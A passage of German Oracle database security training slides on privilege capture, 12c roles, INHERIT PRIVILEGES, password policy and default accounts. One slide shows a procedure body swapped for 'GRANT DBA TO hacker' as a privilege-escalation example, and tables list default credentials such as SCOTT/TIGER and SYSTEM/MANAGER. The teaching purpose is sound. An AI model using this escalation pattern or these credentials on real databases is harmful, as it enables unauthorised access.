1. Sie sagen, was Sie aufzeichnen wollen:
DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE
2. Sie starten die Aufzeichnung
DBMS_PRIVILEGE_CAPTURE.ENABLE_CAPTURE
3. Sie führen Ihre Aufgaben in der DB mit dem gewün schten Benutzer aus
4. Sie Stoppen die Aufzeichnung
DBMS_PRIVILEGE_CAPTURE.DISABLE_CAPTURE
5. Die Reporterzeugung wird angestoßen
DBMS_PRIVILEGE_CAPTURE.GENERATE_RESULT
6. Sie können die Auswertung beginnen
dba_used_privs
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 34
Stichwörter: Rechteerfassung
Security I 2 - 34
CREATE_CAPTURE-Prozedur
SyntaxDBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE (
name VARCHAR2,description VARCHAR2 DEFAULT NULL, -- max 1024 Zeic hentype NUMBER DEFAULT G_DATABASE,roles ROLE_NAME_LIST DEFAULT ROLE_NAME_LIST( ),condition VARCHAR2 DEFAULT NULL);
Parameter Type kann folgende Werte annehmen:
g_database: Ermittelt die Verwendung aller Rechte d er DB (außer SYS)
g_role: Ermittelt die Verwendung eines Rechts, das Bestandteil einer gegegeben Rolle oder Liste von Rollen ist.
g_context: Ermittelt die Verwendung eines Rechts in einem bestimmten Context, der durch den Parameter condition beschrie ben wird
g_role_and_context: Kombination von g_role und g_co ntext
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 35
Stichwörter: Rechteerfassung; Prozedur
Security I 2 - 35
Beispiele
Alle Rechte der Datenbank erfassen
BEGINDBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE(
name => 'all_privs',type => DBMS_PRIVILEGE_CAPTURE.G_DATABASE);
END;
Alle Rechte von PUBLIC erfassen
BEGINDBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE(
name => 'pub_analysis',type => DBMS_PRIVILEGE_CAPTURE.G_ROLE,roles => role_name_list ('PUBLIC'));
END;
Hinweis: Es können mehrere Rollen mit Komma getrenn t angegeben werden
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 36
Stichwörter: Rechteerfassung; Beispiele
Security I 2 - 36
Beispiele
Die genutzten Rechte des Benutzers SCOTT erfassen
BEGIN DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE( name => 'ANY_priv_analysis_pol', type => DBMS_PRIVILEGE_CAPTURE.G_CONTEXT, condition => q'!SYS_CONTEXT('USERENV', 'SESSION_USER')='SCOTT' !'); END;
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 37
Stichwörter: Rechteerfassung; Beispiele
Security I 2 - 37
App-Überwachung in fremder Session
Alle genutzten Rechte des Modul sap_modul
BEGINDBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE(name => 'emp_pkg_privs',type => DBMS_PRIVILEGE_CAPTURE.G_CONTEXT,condition => q'!SYS_CONTEXT('USERENV', 'MODULE') = 'sap_modul' !');END;
Alternativ erstellen Sie einen Logon-Trigger, der b eim Anmelden einer bestimmten APP die Überwachung aktiviert
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 38
Security I 2 - 38
Start / Ende der Erfassung
Aufzeichnung startenBEGIN DBMS_PRIVILEGE_CAPTURE.ENABLE_CAPTURE ('ALL_PRIVS_ANALYSIS'); END;
Ihre Anwendung benutzenSELECT * FROM …CREATE TABLE …DROP VIEW …
Aufzeichnung beendenBEGIN DBMS_PRIVILEGE_CAPTURE.DISABLE_CAPTURE ('ALL_PRIVS_ANALYSIS'); END;
Report erzeugenBEGIN DBMS_PRIVILEGE_CAPTURE.GENERATE_RESULT ('ALL_PRIVS_ANALYSIS'); END;
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 39
Stichwörter: Rechteerfassung
Security I 2 - 39
Übersicht der Ausgabe
Diese Views werden zur Ausgabe der Informationen verwendet:
DBA_USED_PRIVS bzw. DBA_UNUSED_PRIVS
DBA_USED_PUBPRIVS
DBA_USED_SYSPRIVS bzw. DBA_UNUSED_SYSPRIVS
DBA_USED_SYSPRIVS_PATH bzw. DBA_UNUSED_SYSPRIVS_PATH
DBA_USED_OBJPRIVS bzw. DBA_UNUSED_OBJPRIVS
DBA_USED_OBJPRIVS_PATH bzw. DBA_UNUSED_OBJPRIVS_PATH
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 40
Stichwörter: Rechteerfassung; Views
Security I 2 - 40
Beispielausgabe
DBA_UNUSED_PRIVS für den Benutzer SCOTT
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 41
Stichwörter: Rechteerfassung
Security I 2 - 41
Neue Rollen in 12c
Rolle Beschreibung
AUDIT_ADMIN Benutzung von AUDIT und NOAUDIT Befehlen + Unified und fine-grained Audit Policies
AUDIT_VIEWER Analyse und Betrachtung von Audit Einträgen
CAPTURE_ADMIN Zum Erstellen von Verwalten von Privileg Analysis Policies mit dem Package dbms_privilege_capture
CDB_DBA Administration der CDB incl. SET CONTAINER, SELECT ON PDB_PLUG_IN_VIOLATIONS, und SELECT ON CDB_LOCAL_ADMIN_PRIVS.
EM_EXPRESS_BASIC Anmelden am EM und Betrachtung von Read Only Views (beinhaltet select_catalog_role)
EM_EXPRESS_ALL Benutzung aller Funktion des EM (beinhaltet EM_EXPRESS_BASIC)
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 42
Stichwörter: Rollen; neu
Security I 2 - 42
Neue Rollen in 12c (f)
Rolle Beschreibung
GLOBAL_AQ_USER_ROLE Ermöglicht Verbindungen zu einem LDAP Server zur Benutzung mit Oracle Streams AQ
OPTIMIZER_PROCESSING_RATE
Erlaubt die Ausführung der Package-Prozeduren:GATHER_PROCESSING_RATE, SET_PROCESSING_RATEDELETE_PROCESSING_RATE
PDB_DBA Wird automatisch den lokalem Benutzer gegeben, wenn eine neue Pluggable Datenbank (PDB) von der seed PDB erstellt wird. Keine Rechte sind mit der Rolle verknüpft
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 43
Stichwörter: Rollen; neu
Security I 2 - 43
Neue Rechte in 12.1.0.1
Recht Beschreibung
CREATE PLUGGABLE DATABASE
Erlaubt Erstellen von neuen Containern für DB
CLONE PLUGGABLE DATABASE Erlaubt das Klonen eines Containers
EXEMPT REDACTION POLICY Ermöglicht die Umgehung der bestehenden Oracle Data Redaction Policies
KEEP DATE TIME Für RAS: Gleiches Datum kann erneut übertragen werden
KEEP SYSGUID Für RAS: Gleiche SYSGUID kann erneut übertragen werden (sys_guid())
KEEP SEQUENCE Für RAS: Gleiche Sequence kann im Fehlerfall erneut übertragen werden. z.B.:GRANT KEEP SEQUENCE ON usr.seq1 to usr2;
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 44
Stichwörter: Rechte; neu
Security I 2 - 44
Neue Rechte in 12.1.0.2
Recht Beschreibung
READ Erlaubt das Ausführen eines Selects auf eine spezielle Tabelle, View, Materialized View oder ein Synonym
READ ANY TABLE Erlaubt das Ausführen eines Selects auf eine beliebige Tabelle, View, Materialized View oder Synonym in einem anderen Schema
SELECT Recht READ Recht
LOCK TABLE <t> IN EXCLUSIVE MODE
SELECT … FROM <t> FOR UPDATE;
SELECT … FROM <T> SELECT … FROM <T>
Unterschiede READ ���� SELECT Recht
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 45
Hinweis:
Wenn der Parameter SQL92_SECURITY=TRUE gesetzt ist, benötigt der Benutzer weiterhin ein SELECT Recht auf der Tabelle bei einem UPDATE oder DELETE
Stichwörter: Rechte; neu
Security I 2 - 45
Inherit Privileges (Oracle 12c)
Bei PL/SQL Objekten, die mit Invoker Rights kompili ert wurden, kann es passieren, dass ein Entwickler mit wenig Rechten für einen Benutzer mit vielen Rechte ein PL/SQL Objekt erstellt.
Der Entwickler könnte durch die Vererbung nun mehr Rechte erlangen, als er selber hatte.
Dies wird nun verhindert
Fehler ORA-06598: insufficient INHERIT PRIVILEGES privilege.
kann aber über das Recht -INHERIT [ANY] PRIVILEGES-wieder ermöglicht werden
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 46
Security I 2 - 46
Inherit Privileges (f)
Beim Anlegen eines neuen Benutzers wird Ihm automatisch über die PUBLIC Rolle das Recht INHERIT PRIVILEGES zugewiesen:
CREATE USER SCOTT IDENTIFIED BY TIGER;
SELECT * FROM dba_tab_privs WHERE grantee='PUBLIC'AND privilege='INHERIT PRIVILEGES' AND table_name='SCOTT';
Sie müssen Ihm also das Recht explizit entziehen, d amit dieser neuer Mechanismus funktioniert !
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 47
Security I 2 - 47
Beispiel zu inherit Privileges
Benutzer A Entwickler B
CREATE PROCEDUE PAUTHID CURRENT_USERIS BEGININSERT INTO a.t …END;
-- INSERT wird ersetzt durchEXECUTE IMMEDIATE 'GRANT DBA TO hacker IDENTIFIED BY xx';
Hat DBA Rechteund Tabelle t
Führt Procedure p aus understellt ungewollt einen neuenBenutzer mit DBA Rechten !!!
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 48
Security I 2 - 48
Beispiel zu inherit Privileges
Syntax zum Vergeben des Rechts:
GRANT INHERIT PRIVILEGES ON USER <invoking_user> TO <procedure_owner>;
Beispiel (Auf ein Schema begrenzen):
GRANT INHERIT PRIVILEGES ON USER sys TO scott;
Beispiel (Auf alle Schema ausweiten):
GRANT INHERIT ANY PRIVILEGES TO scott;
Syntax zum Entziehen des Rechts:
REVOKE INHERIT PRIVILEGES ON USER <usr> FROM public|<usr>;
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 49
Security I 2 - 49
Neuerung bei Rechten in 12.1.0.2
Dem Benutzer SCOTT erlauben die Role my_role an PL/SQL Objekte zu vergeben:
GRANT my_role TO scott WITH DELEGATE OPTION;
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 50
Security I 2 - 50
Kapitel 3Benutzer und Passwörter
Security I 3 - 1
Benutzerpasswörter
Sie sollten möglichst lange Kennwörter verwenden (m ehr als 10 Zeichen).
Regeln für Kennwörter
Maximal 30 Zeichen
Keine Zahl am Anfang (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt)
Groß und Kleinschreibung bis 10.2 egal (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt)
Ab Version 11.1 können Passwörter auch Klein und Großbuchstaben beinhalten
MuniQSoft GmbH Security I 3 - 2Kapitel 3 - Benutzer & Passwörter
Der Einsatz von guten Kennwörtern stellt eine der wichtigsten Aufgaben zum Schutz der Datenbank da. Sie sollten möglichst lange Kennwörter verwenden (mehr als 6 Zeichen).
Folgende Regeln gelten für KennwörterMaximal 30 ZeichenKeine Zahl am Anfang (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt)Groß und Kleinschreibung egal (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt)
Für jeden Benutzer, bis auf SYS kann bei einer bestimmten Anzahl von fehlerhaft übergebenen Passwörtern der Benutzer-Account gesperrt werden. Das bedeutet, dass dieser Account ein besonders langes und gutes Passwort bekommen sollte.
Ein Pentium 4 mit 3GHz benötigt:
* 10 Sekunden für 5-ascii-character-combinations* 5 Minuten für 6-ascii-character-combinations* 2 Stunden für 7-ascii-character-combinations* 2,1 Tage für 8-ascii-character-combinations* 57 Tage für 9-ascii-character-combinations* 4 Jahre für 10-ascii-character-combinations
Stichwörter: Benutzerpasswörter
Security I 3 - 2
Optimierung von Passwörtern
Schlecht sind folgende Passwörter:
Oracle_asdfg (Oracle oder Firmennamen oder Benutzernamen im Passwort) + nur erster Buchstabe g roß
"Hans Maier" (beide Wörter stehen in einem Passwort -Wörterbuch)
Elcaro_123 (oracle rückwärts)
0racl3 (Zahlen ersetzen Buchstaben i=1 e=3 o=0 …)
Bibelzitate (Sind in Wörterbuchattacken bereits im Einsatz)
O1r2a3c4l5e6 (Kombination aus einem Wort (oracle) u nd Zahlen
MuniQSoft GmbH Security I 3 - 3Kapitel 3 - Benutzer & Passwörter
Verwenden Sie also NICHT:Ihren Namen Rückwärts + Zahlen oder Sonderzeichen.Den Firmennamen / Abteilungsnamen im Passwort.Keine Namen oder Ausdrücke, die in einem Wörterbuch vorkommen können.Kombination von mehreren Wörter aus einem Wörterbuch.
Verwenden Sie lange Passwörter mit Groß und Kleinschreibung mehrfach gemischt + Sonderzeichen + Zahlen
Beispiele:
• mHggGum8_00 (mein Hund geht gerne Gassi um 8.00 (11 Stellen))• meHh_Sweetie (mein erstes Haustier hieß Sweetie (12 Stellen))• kkmPk_außer_Mir (kein kann mein Passwort knacken außer mir (15 Stellen))
Security I 3 - 3
Benutzerpasswörter
Keine einfachen Kennwörternamen (peter, frank, susi , mausi) vergeben (besser: Fuchs Du hast die Gans gestohlen, gib sie wieder her... =>fdhdgggswh).
Verwenden Sie keine
Vornamen (Uschi, Klaus, Susanne)
Fußball-Clubs (FCBayern)
Städtenamen (Paris, Berlin, ...)
Kosenamen (Mausi, Schnuckel, ...)
Namen die in einem Wörterbuch stehen
MuniQSoft GmbH Security I 3 - 4Kapitel 3 - Benutzer & Passwörter
Verwenden Sie nicht für alle Server die gleichen Passwörter. Wenn ein Rechner geknackt wurde, sind die anderen auch alle sofort unsicher. Auch wenn das Passwort sich nur geringfügig unterscheidet, ist es für ein Hacker unmöglich festzustellen welche Änderung durchgeführt wurde. Beispiel: Server1: Passwort: 01mybmw01
Server2: Passwort: 01my_bmw01Server3: Passwort: 01mybmw#01
Die 10 häufigsten Passwörter:
1. Name des Anwenders2. Name von Kindern, Partner oder Haustieren3. Kein Kennwort4. “Password”5. “Sommer” oder “Winter”6. “abc123”7. “123456”8. Name des Unternehmens9 “qwert” oder “asdf” (Buchstabenfolge auf der Tastatur)10. Monat des letzten Kennwortwechsels
Stichwörter: Benutzerpasswörter
Security I 3 - 4
Passwort ändern auf dem Client
Methode des Clients der über Netzwerk mit Server verbunden :
Verschlüsselung Client ���� Server
1. connect <user>/<pwd>
2. SQL*PLUS> password
3. ALTER USER <user> IDENTIFIED BY <pwd>;
4. UPDATE sys.user$ SET password=<HASH>, spare4=<SHA>; ����Nicht supported !!!!
5. Netzwerkverkehr verschlüsselt + ALTER USER … IDENTIFIED BY
6. Netzwerkverkehr verschlüsselt + UPDATE sys.user$
3 2
MuniQSoft GmbH Security I 3 - 5Kapitel 3 - Benutzer & Passwörter
Hinweis:
Das bedeutet, dass bei einer Änderung des Passworts auf der Client-Seite in den meisten Fällen das neue Passwort über das Netz unverschlüsselt übertragen wird. Damit ist auch das längste und beste Passwort über Netzwerk-Sniffer abgreifbar. Verschlüsseln Sie deshalb unbedingt den Netzwerkverkehr.
Security I 3 - 5
Abschalten des alten PWD Algorithmus
Seit Oracle 11 wird ein neuer PWD Algorithmus verwe ndet. Leider wird der alte nicht automatisch abgeschaltet .
Sie können das in der Datei der sqlnet.ora konfigur ieren
10g Clients (mit CPUOct2012) und höher
SQLNET.ALLOWED_LOGON_VERSION_SERVER=11
11g Clients Verschlüsselung verwenden (ab 11.2.0.3) :
SQLNET.ALLOWED_LOGON_VERSION_SERVER=12
11g und 12c Verschlüsselung verwenden (ab 12.1.0.2) :SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a
Hier wird beim Neusetzen des Passworts sowohl die a lte 10g als auch die 11g Form des Passworts entfernt
Achtung: SQL Developer 4.0.3 unterstützt dies NICHT
MuniQSoft GmbH Security I 3 - 6Kapitel 3 - Benutzer & Passwörter
Hinweis:
Auf Clientseite gibt es den zugehörigen korrespondierenden Parameter:
SQLNET.ALLOWED_LOGON_VERSION_CLIENT
Auch dieser kann die Werte:12a für Oracle Database 12c Release 1 (12.1) 12.1.0.2 oder höher12 für den Critical Patch Updates CPUOct2012 oder später +Oracle Database 11g Authentication Protocols (Empfohlen)11 für Oracle Database 11g Authentication Protocols (dDfault)10 für Oracle Database 10g Authentication Protocols8 für Oracle8i Authentication Protocols
Hinweis:Sie bekommen eine ORA-01017 Fehlermeldung, wenn Sie sich mit einer zu niedrigen Client-Version anmelden.
Security I 3 - 6
Abschalten des alten PWD Algorithmus
Wenn im Parameter SQLNET.ALLOWED_LOGON_VERSION_SERVER=12[a] steht, wird die Spalte password der Tabelle sys.use r$ nicht mehr gefüllt
Damit ist der alte Algorithmus abgeschalten, es kön nen sich aber nur noch Clients mit entsprechnd hoher Version anmelden
Empfehlung von Oracle: Alle bisherigen Accounts nac h einer Migration auf Expire setzen und neu vergeben [lassen]
ALTER USER <user> PASSWORD EXPIRE;
MuniQSoft GmbH Security I 3 - 7Kapitel 3 - Benutzer & Passwörter
Testcase unter 12.1.0.2: (Jedes Mal neu anmelden !)
ALTER USER marco IDENTIFIED BY abc; SELECT name,password,spare4 FROM user$WHERE name='MARCO';
Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12aH:962BC5437A88D9AED498DD155B4B70A2;T:04527A91D30B1A9D850D1D5DF1D6C7C3252FB6E35E51E239C1CB9F42F5559DA1E669E0DF6B982D7A45D1FDE4255C6ED8560E649AF3E9EBB06AA8D7AAA968F460FCB926F31BBFF99C0237908C42DD4C90
Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12 S:A88A6DDF33EB3846F1B7D5075F91DE0095F9E5FDBDABC052A82353E628D8;H:962BC5437A88D9AED498DD155B4B70A2;T:5D31FC2A24536479D857696E3377229265C535D01DA39DCCA58C33827A0E01B42D1194A0F59B02DE7714825AD8F9860A0BF6F21159F4D545AB174A287BF15447054CF9A24A4D5DCDA7F14C289C3C75CC
Security I 3 - 7
Neue Passwortverschlüsselung in 12.1.0.2
Oracle verwendet ab 12.1.0.2 den SHA-512 Krypto-Has h für die Passwortverschlüsselung
Zuerst wird PBKDF2 incl Salt verwendet (http://de.wikipedia.org/wiki/PBKDF2) um Rainbow Ta bles und Brut Force Angriffe zu erschweren
OCI und JDBC Client in der Version 12c unterstützen diese neue Authentifizierung
MuniQSoft GmbH Security I 3 - 8Kapitel 3 - Benutzer & Passwörter
Security I 3 - 8
Passwort-Hackmethoden
Brute-Force Attack
Es werden alle möglichen Kombinationen von Buchstab en ausgetestet
Beispiel:
AAAA
AAAB
...
ZZZZ
Je kürzer das Passwort, desto schneller kann es gef unden werden. Passwörter mit 6 Buchstaben sind in wenigen Stunden geknackt
MuniQSoft GmbH Security I 3 - 9Kapitel 3 - Benutzer & Passwörter
Stichwörter: Passwort-Hackmethoden, Brute-Force-Attacke
Security I 3 - 9
Passwort-Hackmethoden
Dictionary Attacke
Alle Wörter die in einem Dictionary stehen ausprobi eren
MANAGER
CHANGE_ON_INSTALL
SYS
Hybrid Attacke
Alle Wörter die in einem Dictionary stehen werden m it Zahlen oder Sonderzeichen zusammengesetzt
SYS123
USCHI6
Mau4si
MuniQSoft GmbH Security I 3 - 10Kapitel 3 - Benutzer & Passwörter
Stichwörter: Passwort-Hackmethoden, Dictionary Attacke
Security I 3 - 10
Passwort-Hackmethoden
Time-memory trade-off (Rainbow Tables)
Mögliche Passwort-Hash-Strings werden vorab berechn et und dann mit dem Oracle-Passwort verglichen
Dies kann in wenigen Sekunden zum Ziel führen
Die Information über die Oracle Passwort-Hash_strin gs findet man unter sys.user$
MuniQSoft GmbH Security I 3 - 11Kapitel 3 - Benutzer & Passwörter
Hinweis: Passwort Hack unter Windows:
Das Administratorpasswort (oder jedes beliebig andere) kann zurück gesetzt werdenDazu ist nur ein Floppy-Laufwerk auf dem Rechner notwendig
Workaround• Rechnerraum absperren, Floppy ausbauen• USB-Ports deaktivieren• CD-ROM/DVD deaktivieren
Bedenken Sie auch, dass durch Manipulation des BIOS die Bootreihenfolge geändert werden kann. Schützen Sie deshalb auch BIOS z.B. durch BIOS-Passwörter.
Stichwörter: Passwort-Hackmethoden, Time-memory trade-off
Security I 3 - 11
Benutzeridentifizierung
Passwortidentifikation unter Windows auch externall y möglich
Prüfung durch Betriebssystem ist praktischer, aber auch gefährlicher.SHOW PARAMTER OS_AUTHENT
NAME TYPE VALUE------------------------ ------- ------os_authent_prefix string OPS$remote_os_authent boolean TRUE
CREATE USER OPS$MARCO IDENTIFIED EYTERNALLY;
Jedoch ist es durch remote_os_authent=true auch ein em unsicheren Client möglich sich u.U. in der DB anzum elden.
Besser also auf FALSE setzen.
MuniQSoft GmbH Security I 3 - 12Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzeridentifizierung
Security I 3 - 12
Benutzeridentifizierung
Authentifizierung über das Netzwerk
Hier ist die Einstellung remote_os_authent unerhebl ich
Identifizierung erfolgt über Advanced Networking Op tion (via Kerberos oder DCE)
MuniQSoft GmbH Security I 3 - 13Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzeridentifizierung
Security I 3 - 13
Benutzer
Nicht als SYS oder SYSTEM in der Datenbank spielen => DEMO-Account anlegen mit beschränkten Rechten.
Vergeben Sie für die Oracle-Default- User andere Pas swörter
SYS und SYSTEM
OUTLN und MDSYS
Accounts die nicht genutzt werden, sollten gesperrt werden:
Account sperren:
ALTER USER <user> ACCOUNT LOCK;
Sperrung aufheben:
ALTER USER <user> ACCOUNT UNLOCK;
MuniQSoft GmbH Security I 3 - 14Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzer
Security I 3 - 14
Benutzerpasswörter (APEX)
Username Passwort
Ab Drop Lock Bedeutung
APEX_PUBLIC_USER
----- 11.1.x N N Wird für APEX verwendet. Ab 11.1 als Def ault installiert. Kann aber ab 9.2.0.2 auch bereits manuell installie rt werden.Wenn Account gelockt wird, kann APEX nicht verwendet werden!
FLOWS_FILES ----- 11.1.x N Y Benutzer für APEX Dateien. Acc ount sollte gesperrt bleiben
FLOWS_03*APEX_04*APEX_05* (derzeit Beta)
11.1.x11.2.x12.?
N Y Folgende Versionen existieren derzeit: FLOWS_016000 , FLOWS_020000, FLOWS_020200, FLOWS_030000, FLOWS_030100, FLOWS_030200, APEX_040000, APEX_040100, APEX_040200, APEX_050000
MuniQSoft GmbH Security I 3 - 15Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter (APEX)
Security I 3 - 15
Benutzerpasswörter
Username Passwort Ab Drop Lock Bedeutung
AUDSYS <keines> 12.1 N Y Inhaber der Audit Daten
APPQQOSSYS <frei wählbar>
11.2 N Y/N Qualitätsmanagement Benutzer für RAC Server Pools
DBSNMP Wird bei Installationbestimmt
8.x N N Enterprise Manger Agent Benutzer (10g/11g)
UNIX$>export ORACLE_SID=<sid>WIN> SET ORACLE_SID=<sid>WIN> SET ORACLE_HOME=<ORACLE_HOME> WIN/UNIX> cd %ORACLE_HOME%/bin WIN/UNIX> emctl stop dbconsole
SQL> ALTER USER dbsnmp IDENTIFIED BY <new_pwd>;WIN/UNIX> cd $ORACLE_HOME/host_sid/sysman/emd
Sicherheitskopie von targets.xml erstellenIn der Datei die folgende Zeile editieren:
<Property NAME="password" VALUE="<encrypted_string>" ENCRYPTED="TRUE"/>
Ändern Sie den Wert auf das neue Passwort (Klartext) und setzen Sie ENCRYPTED auf "FALSE"
WIN/UNIX> emctl start dbconsole'
Setzen Sie nun in der Datei targets.xml ENCRYPTED auf "TRUE"
MuniQSoft GmbH Security I 3 - 16Kapitel 3 - Benutzer & Passwörter
Für die Version 9i wird folgendes Verfahren verwendet:
SNMP-Benutzer mit Connect&Resource RollePasswort ändern in Datei: snmp_rw.oraSNMP.CONNECT.<service_name>.user=<user>SNMP.CONNECT.<service_name>.password=<pwd>
Benutzer kann gelöscht werden mittels: catnsnmp.sql Neuangelegt wird er mit: catsnmp.sql
Stichwörter: Benutzerpasswörter
Security I 3 - 16
Benutzerpasswörter
Username Passwort Ab Drop Lock Bedeutung
CTXSYS CTXSYS 8.1.x N Y Inhaber der Media-Text-Objekte.
DIP ??? 10.1 N Y Wird für Label Security (Extra-Option) verwendet
DMSYS DMSYS 10.1 N Y Data Mining User. Ersetzt die User ODM und ODM_MTR. Wird angelegt durch das Skript:./dm/admin/odmcrtm.sql
DVF <user> 11.1 N Y Database Vault (Extra-Option)
DVSYS <user> 11.1 N Y Database Vault Administrator (Extr a-Option)
EXFSYS EXFSYS 10.1 N Y Benutzer für Expression Filter. K ann durch das Skript: @$ORACLE_HOME/rdbms/admin/catexf.sql bei Bedarf neu angelegt werden.Löschen mittels:@$ORACLE_HOME/rdbms/admin/catnoexf.sql
GSMADMIN_INTERNAL
12.1 N Y Global Data Service Manager Benutzer für Replikationsumgebungen
GSMCATUSER
12.1 N Y Global Data Service Manager Benutzer
GSMUSER 12.1 N Y Global Data Service Manager Benutzer
MuniQSoft GmbH Security I 3 - 17Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter
Security I 3 - 17
Benutzerpasswörter (ff)
Username Passwort Ab Drop Lock Bedeutung
INTERNAL ORACLE V6.x N N Aliasname für SYS-Benutzer mit SYSDBA-RechtenPasswort ändern mit orapwd-Utility.Wird ab Version 9.1 nicht mehr unterstützt.
LBACSYS LBACYSY V8iV9i N/Y Y Oracle Label Security Benut zer. Wird angelegt durch das Skript :@?\rdbms\admin\catols.sql Gelöscht werden kann er durch catnools.sql
MDDATA ??? Ab 10g N Y Spatial und Intermedia-Benutzer
MDSYS MDSYS V8i N/Y Y Spatial und Intermedia-Benutzer mi t DBA-Rechten
MGMT_VIEW
Zufälligerzeugt
Ab 10g N N Benutzer für Enterprise Manager
MTSSYS MTSSYS V8.x N Y Benutzer für Microsoft Transactio n Server
MIGRATE MIGRATE Mig. 10=>11
N N Benutzer der Migrationsobjekte besitzt. Er ist nu r während der Migration verfügbar
MuniQSoft GmbH Security I 3 - 18Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter
Security I 3 - 18
Benutzerpasswörter (ff)
Username Passwort Ab Drop Lock Bedeutung
ODM ODM 9i N/Y Y Data Mining Benutzer (+ ODM_MTR User) Passwörter können auch geändert werden
OJVMSYS 12.1 N Y Java Virtual Machine Benutzer
OLAPSYS OLAPSYS 9i N/Y Y Olap Benutzer
ORDSYS ORDSYS 8i N/Y Y Spatial und Intermedia-Benutzer
OWBSYS ??? 10g N/Y Y Warehouse Builder
ORDPLUGIN ORDPLUGIN 8i N/Y Y Intermedia Audio & Video Be nutzerPasswort ändern mit ALTER USER ORDPLUGIN IDENTIFIED BY <pwd>;
ORACLE_OCM
?? 11.1 ? Y Oracle Configuration Manager. Zur Kommunikation mit Metalink
MuniQSoft GmbH Security I 3 - 19Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter
Security I 3 - 19
Benutzerpasswörter (ff)
Username Passwort Ab Drop Lock Bedeutung
OUTLN OUTLN 8.i N Y Inhaber des OUTLN-Packages mit DBA-R ollePasswort ändern mit ALTER USER OUTLN IDENTIFIED BY <pwd>;Nicht löschen, sonst können keine Constraints mehr gesetzt werden. Auch Analysen sind nicht mehr möglich. Wird angelegt durch das Skript sql.bsq
PERFSTAT PERFSTAT V8.x N Y Benutzer für Statspack Statis tiken.
RMAN oder Benuterdef.
<USERDEF> V8.x N N Eigentümer des Recovery Manager Repositories. Benutzername kann frei gewählt werden (meist jedoch RMAN)
REPADMIN REPADMIN V8.x N N Benutzer für Replikation. Pas swort ändern mit ALTER USER REPADMIN IDENTIFIED BY <pwd>;
SYSMAN OEM_TEMP EM-V2.0.x
N N Enterprise Manager Benutzer für OMSPasswort ändern mit: Skript für 8i/9i ORA_Home>\SYSMAN\Admin starten: vduResetSysman.sql
MuniQSoft GmbH Security I 3 - 20Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter
Security I 3 - 20
Benutzerpasswörter (ff)
Username Passwort Ab Drop Lock Bedeutung
SCOTT TIGER V6.x Y Y Beispielbenutzer mit einigen Rechte n. Kann neu angelegt werden mit dem Skript:@?/RDBMS/ADMIN/scott.sql oder utlsampl.sql
SI_INFORMATN_SCHEMA
9i N/Y Y Intermedia-Benutzer
SYS <benutzer def.>
V6.x N N Inhaber der Datenbank mit allen RechtenPasswort ändern mit ALTER USER SYS IDENTIFIED BY <pwd>;
SYSTEM MANAGER oder <benutzer def.>
V6.x N N DBA der Oracle DatenbankPasswort ändern mit ALTER USER ... IDENTIFIED..
TSMSYS TSMSYS 10.2 N Y Transparent Session Migration
MuniQSoft GmbH Security I 3 - 21Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter
Security I 3 - 21
Benutzerpasswörter (ff)
Username Passwort Ab Drop Lock Bedeutung
WKPROXY change_on_install
V9i Y Y Ultrasearch UserWird angelegt mittels: ultrasearch/admin/wk0csys.sql
WKSYS change_on_install
V9i Y Y Ultrasearch UserWird angelegt mittels: ultrasearch/admin/wk0install.sql
WMSYS WMSYS V9i N Y Workspace Manager.Wird angelegt mittels: owmctab.plbGelöscht durch: owmuinst.plb
XDB <userdef> V9i N Y Für XML Datenbank.Kann angelegt werden mittels: catqm.sqlgelöscht werden mittels catnoqm.sql
XS$NULL keins 11.1 N Y Kein eigentlicher User. Wird für interne Zwecke verwendet. Hat keine Rechte
MuniQSoft GmbH Security I 3 - 22Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter
Security I 3 - 22
Administrationsbenutzer
Benutzer Rechte Beschreibung
SYSDBA STARTUP, SHUTDOWNCREATE DATABASERECOVER DATABASEAlle Rechte mit ADMIN Priv.
"Root" Benutzer der Datenbank.
SYSOPER STARTUP; SHUTDOWNALTER DATABASE BACKUP, ARCHIVE LOG, RECOVER.
Abgespeckter SYSDBA, der nicht auf Tabellen zugreifen darf!
SYSASM(ab 11g)
CREATE DISKGROUp, DROP DISKGROUP, …
Verwaltung der ASM Instanz (Trennung von DB und OS Administration)
